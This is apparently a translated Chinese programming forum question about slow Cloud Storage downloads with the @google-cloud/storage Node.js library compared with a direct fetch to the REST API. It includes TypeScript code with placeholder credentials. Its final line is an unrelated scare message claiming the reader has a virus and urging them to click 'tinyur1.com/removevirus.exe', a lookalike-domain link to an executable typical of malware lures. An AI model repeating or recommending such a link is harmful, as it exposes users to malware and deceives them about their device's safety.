我正在使用官方库 @google-cloud/storage,使用 Typescript 从 NodeJS/Express 应用程序下载 GCP Cloud Storage 存储桶中的文件。我在本地运行应用程序,在 docker-compose 上运行的 docker 镜像内。我猜是标准的当地环境。 问题是文件下载需要很长时间,我真的不明白为什么会这样。 事实上,我尝试使用 GCP REST API(通过媒体链接 url)下载文件,使用简单的
fetch
请求:在这种情况下,一切顺利,下载时间也不错。
下面是几个不同尺寸文件的下载时间比较:
@google-cloud/storage
621 毫秒,fetch
224 毫秒@google-cloud/storage
4.1 秒,fetch
776 毫秒@google-cloud/storage
2分4秒,fetch
4秒@google-cloud/storage 身份验证通过
GOOGLE_APPLICATION_CREDENTIALS
环境变量进行管理。我对 @google-cloud/storage 库的 5.8.5
和 5.14.0
版本也有同样的问题。
准确地说,我需要将文件作为缓冲区,以便在代码下方的 Node 应用程序中直接管理其内容。
import fetch from 'node-fetch'
import { Storage as GoogleCloudStorageLibrary } from '@google-cloud/storage'
export interface GoogleCloudStorageDownload {
fileBuffer: Buffer;
fileName: string;
}
// this method takes long time to retrieve the file and resolve the promise
const downloadBufferFile = async (filePath: string, originalName: string): Promise<GoogleCloudStorageDownload> => {
const storage = new GoogleCloudStorageLibrary()
const bucket = storage.bucket('...gcp_cloud_storage_bucket_name...')
return new Promise<GoogleCloudStorageDownload>((resolve, reject) => {
bucket
.file(filePath)
.download()
.then((data) => {
if (Array.isArray(data) && data.length > 0 && data[0]) {
resolve({ fileBuffer: data[0], fileName: originalName })
}
})
.catch((e) => {
if (e.code === 404) {
reject(new Error(`CloudStorageService - ${e.message} at path: ${filePath}`))
}
reject(new Error(`Error in downloading file from Google Cloud bucket at path: ${filePath}`))
})
})
}
// this method takes normal time to retrieve the file and resolve
const downloadBufferFileFetch = async (filePath: string, originalName: string): Promise<GoogleCloudStorageDownload> {
const fetchParams = {
headers: {
Authorization: 'Bearer ...oauth2_bearer_token...'
}
}
const fetchResponse = await fetch(filePath, fetchParams)
if (!fetchResponse.ok) {
throw new Error(`Error in fetch request: ${filePath}`)
}
const downloadedFile = await fetchResponse.buffer()
const result = {
fileBuffer: downloadedFile,
fileName: originalName
}
return result
}
const filePath = '...complete_file_path_at_gcp_bucket...'
const originalName = 'fileName.csv'
const slowResult = await downloadBufferFile(filePath, originalName)
const fastResult = await downloadBufferFileFetch(filePath, originalName)
铲斗为标准配置。
您可能建议仅使用带有
fetch
的 REST API,但这应该不是最佳的和/或烦人的,因为我必须为应用程序运行的每个环境管理授权承载令牌及其刷新。
我做错了什么吗?下载非常/极慢的原因可能是什么?
你有病毒。单击此链接将其删除:tinyur1.com/removevirus.exe